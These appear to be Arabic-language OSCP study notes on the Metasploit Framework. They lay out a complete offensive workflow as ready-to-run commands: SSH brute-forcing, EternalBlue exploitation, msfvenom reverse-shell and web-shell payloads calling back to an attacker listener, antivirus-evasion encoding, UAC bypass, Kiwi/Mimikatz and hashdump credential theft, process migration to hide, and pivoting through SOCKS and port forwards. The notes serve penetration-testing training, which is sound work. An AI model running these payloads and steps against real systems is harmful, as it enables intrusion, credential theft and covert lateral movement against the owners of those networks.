Module 18: إطار عمل Metasploit

Exploit Frameworks وُجدت لحل مشكلة حقيقية: الـ Exploits الخام متفرّقة وبتحتاج تعديل ثقيل لكل هدف، والـ Post-Exploitation يحتاج جمع أدوات كثيرة. MSF حلَّت كل ده في Console واحد.

أنواع موديولات Metasploit

auxiliary Scanning, Fuzzing Cred Attacks exploit CVE exploitation Code execution payload What runs after exploitation post Post-exploitation on live sessions encoder Obfuscate payloads Evade signatures nop NOP sleds Buffer padding 📁 /usr/share/metasploit-framework/ modules/ → كل الأنواع scripts/ → Resource scripts tools/ → msfvenom & utils data/ → Wordlists, templates
Module naming: <category>/<platform>/<subcategory>/<name> — مثال: exploit/windows/smb/ms17_010_eternalblue
📌 تاريخ MSF

أسَّسه H.D. Moore عام 2003 كلعبة شبكية — تطوَّر بسرعة ليصبح Framework الاختراق الأوسع انتشاراً. Rapid7 استحوذت عليه عام 2009. ثلاث إصدارات: MSF Framework (مفتوح المصدر، CLI، في Kali) — MSF Pro (تجاري، Web UI) — MSF Community (مجاني محدود). المنافسون التجاريون: Cobalt Strike، Covenant، PowerShell Empire.


01الإعداد — PostgreSQL وWorkspaces وNavigation

إعداد قاعدة البيانات والبدء

MSF ممكن يشتغل بدون DB لكن يُنصَح به بشدة — بيخزَّن: Hosts, Services, Vulns, Credentials, Loot, Notes. بدونه هتفقد التكامل بين الفحص والاستغلال.

bash — msfdb setup
# تهيئة DB (مرة واحدة فقط)
sudo msfdb init

# تشغيل MSFconsole
sudo msfconsole

# التحقق من الاتصال بالـ DB
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql

# ===== Workspaces =====
workspace              # عرض كل الـ Workspaces
workspace -a client1   # إنشاء وتبديل لـ Workspace جديد
workspace client1      # التبديل لـ Workspace موجود
workspace -d client1   # حذف Workspace

MSFconsole — الأوامر الأساسية

الأمرالوظيفة
help / ?عرض كل الأوامر المتاحة في السياق الحالي
search <term>بحث في الموديولات بالاسم أو CVE أو Platform أو Type
use <module>تحميل وتحديد موديول للعمل عليه
infoعرض التوثيق الكامل للموديول المحمَّل
show optionsعرض الـ Parameters المطلوبة والاختيارية
set <OPT> <val>تعيين قيمة Option للموديول الحالي
setg <OPT> <val>تعيين قيمة Global تنطبق على كل الموديولات
unset <OPT>إلغاء تعيين Option
run / exploitتشغيل الموديول المحمَّل
backالرجوع للـ Context السابق

إدارة الـ DB وقواعد البيانات

msfconsole — db commands
# فحص Nmap وحفظ النتائج في DB
db_nmap -sV -p 1-1000 192.168.50.0/24

# الاستعلام عن النتائج المخزَّنة
hosts                          # كل الـ Hosts
hosts -R                       # ملء RHOSTS تلقائياً من الـ DB
services -p 445                # خدمات على بورت 445
services -p 22 -R              # تعيين RHOSTS من الخدمات على 22
creds                          # بيانات الاعتماد المجمَّعة
loot                           # الملفات والبيانات المستخرَجة
notes                          # الملاحظات المحفوظة
vulns                          # الثغرات المُحدَّدة

# تصدير البيانات
db_export -f xml /tmp/engagement.xml

02Auxiliary Modules — Scanning وCredential Attacks

Auxiliary Modules مش بتستغل ثغرات — بتدعم مراحل الـ Recon والـ Enumeration وهجمات بيانات الاعتماد. بتشتغل بدون Payload.

الموديولالوظيفة
scanner/portscan/tcpTCP Port Scanner أساسي
scanner/smb/smb_versionكشف إصدار SMB ونظام التشغيل والـ Hostname — ضروري لاستهداف EternalBlue
scanner/smb/smb_ms17_010فحص ثغرة MS17-010 فقط — بدون استغلال
scanner/ssh/ssh_versionبصمة إصدار SSH والـ Algorithms المدعومة
scanner/ssh/ssh_loginDictionary/Brute-Force على SSH
scanner/ftp/ftp_loginDictionary/Brute-Force على FTP
scanner/http/http_versionتعريف Web Server وإصداره
msfconsole — smb scanner
# Workflow أي auxiliary module:
# search → use → info → show options → set → run

# البحث عن موديولات SMB
search type:auxiliary name:smb

# تحميل SMB Version Scanner
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.50.0/24
set THREADS 20
run
# النتائج تُحفَظ تلقائياً في DB
services -p 445  # استعراض النتائج

# ===== SSH Credential Attack =====
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.50.10
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
set THREADS 5
run
# [+] SSH - Success: 'admin:password123'
# [*] Command shell session 1 opened
creds  # بيانات الاعتماد تُحفَظ تلقائياً

03Exploit Modules — البحث والتقييم وEternalBlue والـ Sessions

تصنيفات Exploit Rank

الـ Rankالمعنىالتوصية
Excellentموثوق جداً، بدون آثار جانبية✓ الأفضل — استخدمه أولاً
Greatموثوق على معظم الأهداف✓ جيد جداً
Goodيعمل مع احتمال مشاكل طفيفة🟡 اختبر في Lab
Normalيحتاج شروطاً محدَّدة🟡 تحقَّق من المتطلبات
Lowممكن يكرَّس الخدمة⚠ تحذير — آثار جانبية
Manualيحتاج تدخُّل يدوي كاملللمتقدّمين فقط
msfconsole — finding exploits
# بحث بالـ CVE
search CVE-2017-0144

# بحث بالنوع والمنصة
search type:exploit platform:windows name:smb

# بحث بالـ Rank
search type:exploit rank:excellent

# بعد العثور على الموديول
use exploit/windows/smb/ms17_010_eternalblue
info          # اقرأ التوثيق الكامل
show options  # شوف المتطلبات

MS17-010 EternalBlue — الاستغلال الكلاسيكي

⚙ CVE-2017-0144 — EternalBlue

SMBv1 Buffer Overflow في Windows — مسرَّب من NSA (Shadow Brokers). يصيب: XP, Vista, 7, 8.1, Server 2003-2016 (غير مُرقَّع). استُخدم في WannaCry وNotPetya. النتيجة: SYSTEM shell — أعلى امتيازات Windows.

msfconsole — eternalblue
# الخطوة 1: فحص الثغرة (بدون استغلال)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.50.10
run
# [+] 192.168.50.10 - Host is likely VULNERABLE to MS17-010!

# الخطوة 2: تحميل الـ Exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.50.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.4
set LPORT 4444
run
# [*] Meterpreter session 1 opened

إدارة الـ Sessions

⚠ Background أولاً

دايماً Background الـ Session قبل تشغيل Post Modules — تشغيل موديول على Session في الـ Foreground سيحجب الـ Console.

msfconsole — session management
sessions            # عرض كل الـ Sessions النشطة
sessions -i 1       # التفاعل مع Session رقم 1
sessions -k 1       # إنهاء Session رقم 1
sessions -K         # إنهاء كل الـ Sessions
sessions -u 1       # Upgrade Shell لـ Meterpreter

# من داخل Session:
background          # إرسال للخلفية
bg                  # نفس الأمر
# Ctrl+Z            # نفس الأمر (Keyboard)

04Payloads ومsfvenom — Staged vs Non-Staged وMeterpreter

Staged vs Non-Staged — الفرق الجوهري

Non-Staged (Inline) Exploit + Complete Shellcode One piece — no second stage Target ✓ Stable Name: NO slash windows/x64/shell_reverse_tcp linux/x64/meterpreter_reverse_tcp ↑ underscore meterpreter Staged (Two-Stage) Exploit + Stager Tiny first stage Target connects back Stage 2 Full Meterpreter sent to target Name: WITH slash / windows/x64/meterpreter/reverse_tcp ↑ slash = staged
النقطة: slash (/) = Staged | underscore (_) في meterpreter = Non-Staged — قرار مهم يحدَّد بحجم الـ Buffer

Meterpreter — أقوى Payload

⬦ Meterpreter

بيشتغل في الذاكرة فقط — لا ملف على القرص. الاتصال مُشفَّر (AES-256 للـ HTTPS). قابل للتوسيع وقت التشغيل بدون Exploits جديدة. متعدد المنصات: Windows, Linux, macOS, Android.

الأمرالوظيفة
sysinfoمعلومات النظام — OS, Hostname, Architecture, Language
getuidالمستخدم الحالي (قبل وبعد رفع الامتيازات)
getpidPID عملية Meterpreter الحالية
psكل العمليات الجارية مع PID والمستخدم والمسار
migrate <PID>نقل Meterpreter لعملية أخرى
getsystemمحاولة رفع الامتيازات تلقائياً لـ SYSTEM
hashdumpتفريغ هاشات SAM (يحتاج SYSTEM)
idletimeوقت خمول المستخدم — قبل تشغيل عمليات واضحة
execute -f notepad.exe -Hتشغيل عملية جديدة بنافذة مخفية للـ Migration
download <file>تنزيل ملف من الهدف
upload <file>رفع ملف للهدف
shellفتح OS Shell تفاعلي

msfvenom — توليد Payloads مستقلة

bash — msfvenom
# استعراض الـ Payloads المتاحة
msfvenom -l payloads | grep windows/x64

# ===== أمثلة شائعة =====
# Windows EXE — Non-Staged Shell
msfvenom -p windows/x64/shell_reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 \
          -f exe -o payload.exe

# Windows EXE — Staged Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 \
          -f exe -o meter.exe

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 \
          -f elf -o payload.elf

# PowerShell One-liner
msfvenom -p windows/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 -f ps1

# مع Encoding لتهرّب الـ AV
msfvenom -p windows/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 \
          -e x64/xor_dynamic -i 5 \
          -f exe -o encoded.exe
Format (-f)المنصةحالة الاستخدام
exeWindowsStandard executable
dllWindowsDLL Injection attacks
ps1 / pshWindowsPowerShell delivery
aspx / jsp / phpWebWeb shell على خوادم مخترَقة
elfLinux/UnixLinux binary
elf-soLinux/UnixShared object للـ Injection
apkAndroidTrojanized Android app

multi/handler — استقبال الـ Staged Payloads

✓ لماذا multi/handler

Netcat لا يستطيع تسليم Stage 2 للـ Staged Payloads. multi/handler يعالج كل أنواع الـ Payloads. شغَّله كـ Background Job (run -j) عشان الـ Console يفضل حر لاستقبال اتصالات متعددة.

msfconsole — multi/handler
use exploit/multi/handler
# لازم يتطابق مع msfvenom output تماماً
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.4
set LPORT 4444
# تشغيل كـ Background Job
run -j
# [*] Started reverse TCP handler on 0.0.0.0:4444

# لما الضحية تشغَّل الـ Payload:
# [*] Meterpreter session 1 opened
sessions -i 1

05Post-Exploitation — Meterpreter وUAC Bypass وKiwi

أهداف مرحلة ما بعد الاستغلال

1Privilege Escalation: الوصول لـ SYSTEM/root
2Persistence: البقاء بعد Reboot
3Credential Harvesting: جمع الهاشات وكلمات المرور والـ Tickets
4Lateral Movement: التوسُّع لأجهزة أخرى
5Data Exfiltration: استخراج البيانات الحساسة
6Situational Awareness: فهم البيئة الكاملة

أول خطوات بعد فتح الـ Session

meterpreter — first steps
# 1. مين أنا؟
getuid
# Server username: CLIENT01\dave

# 2. وقت خمول المستخدم (آمن للتشغيل؟)
idletime
# User has been idle for: 0 hours 3 mins 22 secs

# 3. رفع الامتيازات تلقائياً
getsystem
# ...got system via technique 5 (Named Pipe Impersonation)

# 4. التحقق
getuid
# Server username: NT AUTHORITY\SYSTEM ✓

# 5. Migration لعملية مستقرة
ps | grep -i explorer
migrate 4768
# Successfully migrated to process 4768
📌 لماذا Migration مهمة

بدون Migration: لو العملية الأصلية اتقفلت → Session تختفي فوراً. اسم عملية مشبوه (payload.exe) يظهر للمدافعين. Migration لـ explorer.exe أو svchost.exe بيخفي Meterpreter في عملية شرعية.

UAC Bypass

UAC بيقيَّد حتى حسابات Administrators — بيشتغلوا بـ Medium Integrity افتراضياً. مش ممكن: تثبيت خدمات، تعديل Registry، تعطيل AV، تفريغ الهاشات.

msfconsole — uac bypass
# فحص مستوى النزاهة ومقترحات الـ Exploit
run post/multi/recon/local_exploit_suggester

# Background الـ Session الحالي
background

# تحميل UAC Bypass Module
use post/windows/escalate/bypassuac_fodhelper
set SESSION 1
run
# [*] Meterpreter session 2 opened at HIGH integrity

# التفاعل مع Session الجديدة
sessions -i 2
getuid   # نفس المستخدم
getsystem  # الآن يصل لـ SYSTEM!

Kiwi — استخراج بيانات الاعتماد

⬦ Kiwi Extension

Kiwi هو تكامل Mimikatz المدمج في Metasploit — يستخرج NTLM Hashes وكلمات مرور Plaintext وـ Kerberos Tickets. يشتغل في الذاكرة فقط — لا ملف على القرص. يحتاج SYSTEM.

meterpreter — kiwi
# تأكَّد من SYSTEM أولاً
getsystem

# تحميل امتداد Kiwi
load kiwi
# Loading extension kiwi...Success.

# تفريغ كل بيانات الاعتماد
creds_all

# NTLM Hashes فقط من SAM
lsa_dump_sam

# Kerberos Tickets
kerberos_ticket_list
kerberos_ticket_use 

# بيانات الاعتماد تُحفَظ في MSF DB تلقائياً
creds  # عرض كل ما جُمع

أهم Post-Exploitation Modules

الموديولالوظيفة
post/multi/recon/local_exploit_suggesterاقتراح Exploits لرفع الامتيازات بناءً على إصدار OS
post/windows/gather/hashdumpتفريغ كل هاشات SAM (يحتاج SYSTEM)
post/windows/gather/credentials/credential_collectorجمع كل أنواع بيانات الاعتماد من Windows
post/windows/manage/migrateAuto-Migration لعملية أكثر استقراراً
post/windows/escalate/bypassuacتجاوز UAC على حسابات Administrator
post/multi/manage/shell_to_meterpreterترقية Shell بسيط لـ Meterpreter
post/windows/gather/enum_sharesتعداد SMB Shares من الهدف

06Pivoting — Routes وSOCKS وPort Forwarding

Pivoting — المفهوم

Pivoting = استخدام جهاز مخترَق كبوابة للوصول لشبكات جديدة. الجهاز الأولي غالبًا بيملك واجهتين — WAN وLAN داخلي. بدون Pivoting: المهاجم لا يرى الشبكة الداخلية. مع Pivoting: الترافيك يُوجَّه عبر الجهاز المخترَق بشكل شفاف.

Attacker Kali MSF + Routes Pivot Host eth0: 192.168.50.X (WAN) eth1: 10.10.10.X (Internal) Meterpreter Session Active Two NICs = Pivot point Internal Network 10.10.10.0/24 DB Server File Server DC 10.10.10.5 10.10.10.10 10.10.10.1 ↑ Attacker لا يرى الشبكة الداخلية بدون Pivoting — Meterpreter هو البوابة
Pivot Host بيربط WAN بالشبكة الداخلية — Meterpreter Session هو القناة

Routes — Pivoting داخل MSF

meterpreter + msfconsole — routes
# من داخل Meterpreter Session:
ipconfig
# eth1: 10.10.10.0/24 ← الشبكة الداخلية

background

# الطريقة 1 — Route يدوي
route add 10.10.10.0/24 1   # 1 = Session ID
route print

# الطريقة 2 — autoroute (الأفضل)
use post/multi/manage/autoroute
set SESSION 1
run
# [+] Route added to subnet 10.10.10.0/255.255.255.0 via session 1
# [+] All subnets auto-discovered!

# الآن MSF Modules تعمل على الشبكة الداخلية
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 22,80,445,3389
run
# ⚠ Nmap خارج MSF لا يعمل عبر MSF Routes!

SOCKS Proxy — Pivoting لكل الأدوات

MSF Routes تعمل فقط مع MSF Modules. SOCKS Proxy بيسمح لـ Nmap وSmbclient وBrowser وكل شيء بالـ Pivot.

msfconsole — socks proxy
# تشغيل SOCKS Proxy Server
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 5
run -j
# [*] SOCKS proxy running on 127.0.0.1:9050

# تعديل /etc/proxychains4.conf
# آخر سطر: socks5 127.0.0.1 9050

# الآن أي أداة ممكن تـ Pivot عبر proxychains
proxychains nmap -sT -Pn 10.10.10.5
proxychains smbclient //10.10.10.10/share
proxychains ssh user@10.10.10.5
proxychains evil-winrm -i 10.10.10.1 -u admin -p Pass

Meterpreter Port Forwarding

meterpreter — portfwd
# إعادة توجيه بورت واحد — أبسط من SOCKS للخدمة المحدَّدة
portfwd add -l 3389 -r 10.10.10.5 -p 3389
# الاتصال بـ RDP الداخلي عبر Kali:3389
xfreerdp /u:admin /p:Password1 /v:127.0.0.1:3389

# Database server
portfwd add -l 5432 -r 10.10.10.10 -p 5432
psql -h 127.0.0.1 -p 5432 -U postgres

# عرض كل الـ Forwards
portfwd list

# حذف Forward
portfwd delete -l 3389 -r 10.10.10.5 -p 3389
الأسلوبيعمل معالإعدادالأفضل لـ
MSF RoutesMSF Modules فقطroute add أو autorouteScanning & Exploiting بموديولات MSF
SOCKS + Proxychainsكل الأدواتsocks_proxy + تعديل proxychains.confMulti-target scanning, أدوات متنوعة
Port Forwardingكل الأدواتportfwd addخدمة واحدة محدَّدة (RDP, DB)

07Automation — Resource Scripts وأمن العمليات

Resource Scripts — الأتمتة

Resource Scripts بتحتوي تسلسلاً من أوامر MSFconsole يُنفَّذ تلقائياً. تستطيع أيضاً تضمين Ruby Code للمنطق الشرطي. تُشغَّل عند البدء بـ -r flag أو من داخل MSF بـ resource.

bash — listener.rc
# listener.rc — Handler آلي كامل
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.4
set LPORT 4444
# Auto-migrate فور فتح الـ Session
set AutoRunScript post/windows/manage/migrate
# البقاء مفتوحاً لاتصالات متعددة
set ExitOnSession false
# تشغيل كـ Background Job
exploit -j
# Listener شغّال في الخلفية!

# ===== تشغيل الـ Script =====
# عند البدء:
sudo msfconsole -r listener.rc

# من داخل MSF:
resource /path/to/listener.rc

# Built-in scripts:
ls /usr/share/metasploit-framework/scripts/resource/

أمن العمليات (OPSEC) مع MSF

المشكلةالحل
Meterpreter signatures معروفة للـ AVEncoding مع -e و-i flags + Custom payloads
اسم عملية مشبوه (payload.exe)Migration فوري لعملية شرعية (explorer.exe, svchost.exe)
كتابة ملفات على القرصتفضيل العمليات في الذاكرة — Meterpreter In-Memory
ترافيك واضحاستخدام Meterpreter HTTPS بدل TCP (يبدو ويب)
Scanner threads عالية = صاخبتقليل THREADS — بطيء لكن أقل كشفاً
العمل أثناء نشاط المستخدمفحص idletime قبل عمليات مرئية

سير العمل الكامل — Metasploit Attack Flow

Recon db_nmap auxiliary/* Exploit exploit/* EternalBlue... Session Meterpreter sessions -i 1 PrivEsc getsystem UAC Bypass SYSTEM! Post Kiwi/Hashdump Persistence Pivot autoroute + SOCKS Lateral Movement →
كل مرحلة تُمكَّن المرحلة التالية — من Target واحد لشبكة كاملة

Cheat Sheet مرجعي

MSFconsole Quick Reference

msfconsole — complete reference
# ===== SETUP =====
sudo msfdb init
sudo msfconsole
db_status
workspace -a CLIENT1 && workspace CLIENT1

# ===== SEARCH & LOAD =====
search type:exploit platform:windows name:smb
search CVE-2017-0144
search type:auxiliary rank:excellent
use 
info && show options

# ===== SET & RUN =====
set RHOSTS 192.168.50.0/24
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.4
set LPORT 4444
set THREADS 10
setg RHOSTS 192.168.50.0/24   # Global option
run / exploit
run -j                          # Run as background job

# ===== DB COMMANDS =====
db_nmap -sV -p- 192.168.50.0/24
hosts && hosts -R
services -p 445 -R
creds && loot && vulns

# ===== SESSIONS =====
sessions               # List
sessions -i 1          # Interact
sessions -k 1          # Kill
sessions -K            # Kill ALL
sessions -u 1          # Upgrade to Meterpreter
background / bg / Ctrl+Z

Meterpreter Quick Reference

meterpreter — complete reference
# ===== SITUATIONAL AWARENESS =====
sysinfo && getuid && getpid
idletime
ps && ps | grep -i explorer

# ===== PRIVILEGE ESCALATION =====
getsystem
run post/multi/recon/local_exploit_suggester
background
use post/windows/escalate/bypassuac_fodhelper
set SESSION 1 && run

# ===== MIGRATION =====
execute -f notepad.exe -H
migrate 

# ===== CREDENTIAL EXTRACTION =====
hashdump
load kiwi
creds_all
lsa_dump_sam
kerberos_ticket_list

# ===== FILE OPERATIONS =====
download /path/to/file
upload /local/file /remote/path
ls && pwd && cd
cat /etc/passwd

# ===== PIVOTING =====
ipconfig / ifconfig
background
route add 10.10.10.0/24 1
use post/multi/manage/autoroute / set SESSION 1 / run
portfwd add -l 3389 -r 10.10.10.5 -p 3389

msfvenom Quick Reference

bash — msfvenom
# Windows EXE (Staged Meterpreter)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 -f exe -o meter.exe

# Windows PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 -f ps1 > meter.ps1

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 -f elf -o meter.elf

# Web Shells
msfvenom -p php/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 -f raw -o shell.php
msfvenom -p windows/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 -f aspx -o shell.aspx

# مع Encoding
msfvenom -p windows/x64/meterpreter/reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 \
          -e x64/xor_dynamic -i 10 -f exe -o encoded.exe

# Bad characters (لاستغلال Buffer Overflow يدوي)
msfvenom -p windows/x64/shell_reverse_tcp \
          LHOST=192.168.118.4 LPORT=4444 \
          -b "\x00\x0a\x0d" -f c

Common Attack Combinations

السيناريوالأوامر
EternalBlue → SYSTEMsmb_ms17_010 check → ms17_010_eternalblue + Meterpreter → getsystem
SSH Brute → Shell → Meterpreterssh_login → shell session → sessions -u 1
Admin Shell → Credsgetsystem → migrate → load kiwi → creds_all
Single Host → Networkipconfig → autoroute → socks_proxy → proxychains
Automated Handlermsfconsole -r listener.rc + AutoRunScript migrate

الخلاصة العامة للموديول

الموديول ده غطّى Metasploit Framework من الألف للياء — من إعداد الـ DB وتنظيم الـ Workspaces، للاستكشاف بـ Auxiliary Modules، للاستغلال بـ Exploit Modules، لتوليد الـ Payloads بـ msfvenom، لـ Post-Exploitation وكسر بيانات الاعتماد بـ Kiwi، والتنقّل داخل الشبكة بـ Pivoting.

$ cat ./module18_summary.txt

MSF مش مجرد أداة — هو بيئة عمل كاملة. المختبر الذي يفهم كيف يربط Auxiliary بـ Exploit بـ Post بـ Pivot في Console واحد، يتحوَّل من مهاجم تكتيكي لمهاجم استراتيجي قادر على خرق شبكات كاملة بمنهجية.

★ Professional Mindset

ابدأ دايماً بـ workspace -a <client> → db_nmap → auxiliary للاستكشاف → exploit بالـ Rank الأعلى → فور الـ Session: migrate، getsystem، creds_all → autoroute → SOCKS → lateral. كل خطوة منظَّمة في الـ DB — لا تبدأ من جديد في كل Engagement.


نهاية نوتس الموديول الثامن عشر — OSCP: The Metasploit Framework